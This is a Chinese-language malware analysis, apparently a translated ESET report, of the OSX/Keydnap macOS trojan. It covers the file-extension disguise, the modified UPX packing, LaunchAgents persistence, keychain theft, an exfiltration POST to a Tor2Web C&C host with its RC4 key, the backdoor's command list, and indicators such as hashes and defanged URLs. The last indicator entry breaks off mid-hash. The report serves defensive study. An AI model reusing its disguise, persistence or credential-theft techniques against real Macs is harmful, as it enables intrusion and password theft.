前述 近期,ESET安全公司 发现 了一例针对Mac 用户的恶意木马程序 OSX/Keydnap ,该恶意程序窃取苹果系统密码信息并驻留于Mac OS系统中成为后门木马。以下是对该恶意程序的相关技术分析。
一、感染载体 目前还不清楚OSX/Keydnap 恶意程序以何种方式感染了受害者系统,但很有可能是通过垃圾邮件或者是非受信网站下载等途径。
据我们分析,恶意程序是下载者类型木马 ( downloader ),由.zip压缩文件方式组成,存在于受害者系统中,.zip压缩文件中包含有可执行的 Mach-O 文件,这些文件看似是.txt或.jpg文件,但其实在这些文件后缀名后被加了个空格隐藏在末尾,这就是木马程序的伪装手段。由于Mac OS 默认这种文件为终端执行文件,这意味着在双击打开图片或文档的同时,恶意程序的 payload 同时也在终端环境下被运行。
图1: 在Finder下的恶意ZIP和 “.jpg ” 文件
图2: 恶意文件的属性信息
.zip压缩文件中的可执行文件利用 Resource fork ( 资源分支)内的icon图标伪装成Finder下的JPEG或TXT文件,增加受害者双击运行的可能。
图 3 :恶意文件在 OS X El Capitan 下执行的屏幕画面,注意在打开预览前的瞬间文件图标变化。
二、OSX / keydnap 下载者程序 恶意程序是一个可执行的Mach-O文件,在最近版本的OS X和Mac OS系统中,如果该文件被从网络下载,且Gatekeeper安全功能开启,则系统将会向用户显示警告,恶意程序代码不会执行。
图4: ZIP 文件被 Safari 下载之后的系统警告信息
Keydnap程序功能非常简单:
(1)下载并执行后门组件;
(2)用base64加密的诱饵文件作为下载者木马文件中的Mach-O可执行文件;
(3)执行诱饵文件(下文将具体描述);
(4)打开执行诱饵文件的终端窗口。
诱饵文件替换了Mach-O文件,所以恶意程序只在ZIP文件中显示。木马在诱饵文件执行后还将执行后续操作:其中的后门程序将在Mac OS的 LaunchAgents 目录下添加一个入口属性,以保持重启后在系统中处于驻留状态。在之后的后门分析部分将会详细说明。
我们还发现了各种样式的下载者木马程序,在文章末尾列出了一系列样本文件信息。
有趣的是,最近我们发现的诱饵样本文件都是各种截图文件,如僵尸网络的管理界面和信用卡号码的数据信息等。这说明了Keydnap 针对的攻击目标可能是地下论坛用户或者一些安全研究人员。在最近一个变种中甚至还包括了一些“构造名词”,如 elitef*ck、ccshop 和 transmission。
图 5-1: 诱饵文件一
图 5-2: 诱饵文件二
图 5-3: 诱饵文件三
三、 OSX/Keydnap 后门程序 在所有样本文件中的后门程序中,我们发现都包含有名为 icloudsyncd 的文件名,恶意程序以不同的版本字符串向远程C&C控制服务器发起请求。目前,我们发现了两个版本:2016年5月的1.3.1版本和6月的1.3.5版本。
代码混淆: 木马整体未被加壳,只是后门程序被一个修改版本的UPX程序加壳。其中:
UPX头部字节“UPX!”被换为“ASS7”
脱壳代码和字符串区被以0×01进行异或操作,异或操作被运用于脱壳之后,调用主函数二进制之前。
图6: 修改过的加壳方式与其它方式对比
ESET提供了一个直接使用命令 upx –d 就可让Keydnap后门程序脱壳的UPX程序 :github
木马持续性: 恶意软件一旦开始运行,如果具备root权限,Keydnap后门程序就会在
/Library/LaunchAgents/ 或
/$USER /Library/LaunchAgents/目录下安装一个 plist文件,保持系统重启之后的持续驻留。
目录
Library/Application Support/com.apple.iCloud.sync.daemon 被用来保存icloudsyncd 执行文件,该目录中包含有恶意软件的进程ID process.id和构造名字(攻击者所起)信息build.id
利用管理者权限,木马程序通过更改icloudsyncd文件的所有者权限为root:admin,并更改可执行 文件的 setuid 和 setgid ,这意味着木马后续将以 root 权限运行于系统中。
图7:在LaunchAgents 目录下的plist文件
为了隐藏恶意文件位置, Keydnap 用
/usr/libexec/icloudsyncd –launchd netlogon.bundle 来代替进程调用变量的显示信息,以下就是在受害者系统内进程查看命令的操作结果:
$ ps ax
[...]
566 ?? Ss 0 : 00 .01 /usr/libexec/icloudsyncd -launchd netlogon.bundle
[...]窃取密码管理器Keychain信息: OSX/keydnap后门程序配备了针对OS X keychain 的密码收集和窃取功能,经我们概念性地研究之后把它称为 Keychaindump ( github ),它通过读取securityd 进程的内存,搜索用户keychain中的密码信息,这个步骤曾被K. Lee and H. Koo研究发表过 论文 。
图 9: Keydnap 后门程序的功能列表 Keychaindump
与C&C控制服务器的通信: (1) Keydnap 通过Tor2Web 的HTTPS 隐秘网关 onion.to 与远程C&C服务器进行通信,我们发现了用于不同样本中的两个onion地址:
g5wcesdfjzne7255.onion (不可访问)
r2elajikcosf7zee.onion (在写这篇报告时可访问) (2) 木马程序的HTTP连接方式总是与 /api/osx/开始并且包含以下动作:
/api/osx/started
/api/osx/keychain
/api/osx/get_task?bot_id={botid}&version={version}(后面将会提及)
/api/osx/cmd_executed
/api/osx/task_complete?bot_id={botid}&task_id={taskid} 其中 HTTP POST 数据中包含两个参数区域bot_id和data,data数据部分用key为“u2RLhh+!LGd9p8!ZtuKcN”的字符进行了RC4加密,当搜索并提取keychain信息后,keychain区域则被data区域填充。
POST /api/osx/started HTTP/1.1
Host : r2elajikcosf7zee.onion.to
Accept : */*
Content-Length : 233
Content-Type : application/x-www-form-urlencoded
bot_id=9 a8965ba04e72909f36c8d16aa801794c6d905d045c2b704e8f0a9bbb97d3eb8&data=psX0DKYB0u...5 TximyY%2 BQY%3 D 图10: 恶意程序发送的初始信息
> rc4decrypt(base64decode("psX0DKYB0u...5TximyY+QY=" ), "u2RLhh+!LGd9p8!ZtuKcN" )
device_model=MacBookPro9,2
bot_version=1.3 .5
build_name=elitef*ck
os_version=15.5 .0
ip_address=4.5 .6.7
has_root=0 图11:向C&C服务器发送的信息(解码后)
bot_id 由以下SHA-256加密信息组成:
硬盘UUID信息
系统序列号(IOPlatformSerialNumber)
主机型号(如: MacBookPro9,2) 这些恶意行为非常明显
启动命令将向远程C&C控制服务器发送以下信息:
device_model : 型号(如: MacBookPro9.2)
bot_version : Keydnap版本号
build_name : 构造名字
os_version : OS X 或macOS 内核版本
ip_address : 外网IP地址
has_root : 1 代表root权限, 0 代表其它 木马命令: 在通过HTTP方式发起的命令中
api/osx/get_task?b ot_id={botid}&version={version} 木马对get_task命令的请求回应中包含了一个整数来确认命令的类型和其它可选参数,
名为get_and_execute_tasks的函数中包含10个不同的命令类型:
命令号 描述 0 卸载Keydnap 并退出 1 以 base64-encoded 加密文件升级后门程序 2 以URL方式升级后门程序 3 解码并执行 base64加密文件 4 解码并执行 base64加密的Python脚本文件 5 从URL 链接下载并执行文件 6 从URL 链接下载并执行Python脚本文件 7 执行命令并向远程C&C 服务器回显 8 下次让用户以管理员权限执行一个程序 9 解密执行或停止base64加密文件alled authd_service
以最后两个命令为例,如果keydnap没作为root权限被运行,那么ID 8号命令将会被发送。命令运行后,后门程序将会监控用户进程数,当其中两个进程在2秒之内被创建后,Keydnap将会产生一个要求用户输入用户名密码的窗口,看上去就像OS X系统中某个程序需要系统执行权限一样,如果受害者被此迷惑并输入用户名密码之后,后门程序将以root权限运行,并且其keychain信息将会被盗取。
图12: 进程数检查
图13: icloudsyncd 发起的管理权限请求以迷惑用户输入密码信息
在ID 9命令中,我们不知道authd_service的作用,因为它还没被使用过,可能是恶意软件针对有价值目标进行的第三阶段部署。
四、总结 目前为止,对这个恶意程序的分析“拼图” 还有一些丢失的碎片,如:我们不知道Keydnap是如何传播感染和分布的,也不清楚有多少受害者。
尽管OS X 系统在防范恶意软件方面有多重安全机制,但就这起案例来看,当Mach-O 图标文件被伪装成恶意代码文件之后,OS X 用户存在被欺骗执行的可能,OS X 系统面临安全风险。
五、样本文件: 下载者木马程序 所有被ESET 以OSX/TrojanDownloader.Keydnap.A监测归类的木马程序 :
SHA-1 Filename First seen on VirusTotal Backdoor download URL Decoy description or URL 07cd177f5baf8c1bdbbae22f1e8f03f22dfdb148 “info_list.txt “ 2016-05-09 hxxp://dev.aneros.com/media/icloudsyncd “Most Common Interview Questions” 78ba1152ef3883e63f10c3a85cbf00f2bb305a6a “screenshot_2016-06-28-01.jpg “ 2016-06-28 hxxp://freesafesoft.com/icloudsyncd BlackHat-TDS Panel screenshot 773a82343367b3d09965f6f09cc9887e7f8f01bf “screenshot.jpg “ 2016-05-07 hxxp://dev.aneros.com/media/icloudsyncd Firefox 20 about screenshot dfdb38f1e3ca88cfc8e9a2828599a8ce94eb958c “CVdetails.doc “ 2016-05-03 hxxp://lovefromscratch.ca/wp-admin/css/icloudsyncd hxxp://lovefromscratch.ca/wp-admin/CVdetails.doc 2739170ed195ff1b9f00c44502a21b5613d08a58 “CVdetails.doc “ 2016-05-03 hxxp://lovefromscratch.ca/wp-admin/css/icloudsyncd hxxp://lovefromscratch.ca/wp-admin/CVdetails.doc e9d4523d9116b3190f2068b1be10229e96f21729 “logo.jpg “ 2016-06-02 hxxp://dev.aneros.com/media/icloudsyncd sanelite logo 7472102922f91a78268430510eced1059eef1770 “screenshot_9324 2.jpg “ 2016-06-28 hxxp://freesafesoft.com/icloudsyncd Some C&C panel
后门程序
SHA-1 ESET Detection name C&C Version a4bc56f5ddbe006c9a68422a7132ad782c1aeb7b OSX/Keydnap.A hxxps://g5wcesdfjzne7255.onion.to 1.3.1 abf99129e0682d2fa40c30a1a1ad9e0c
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除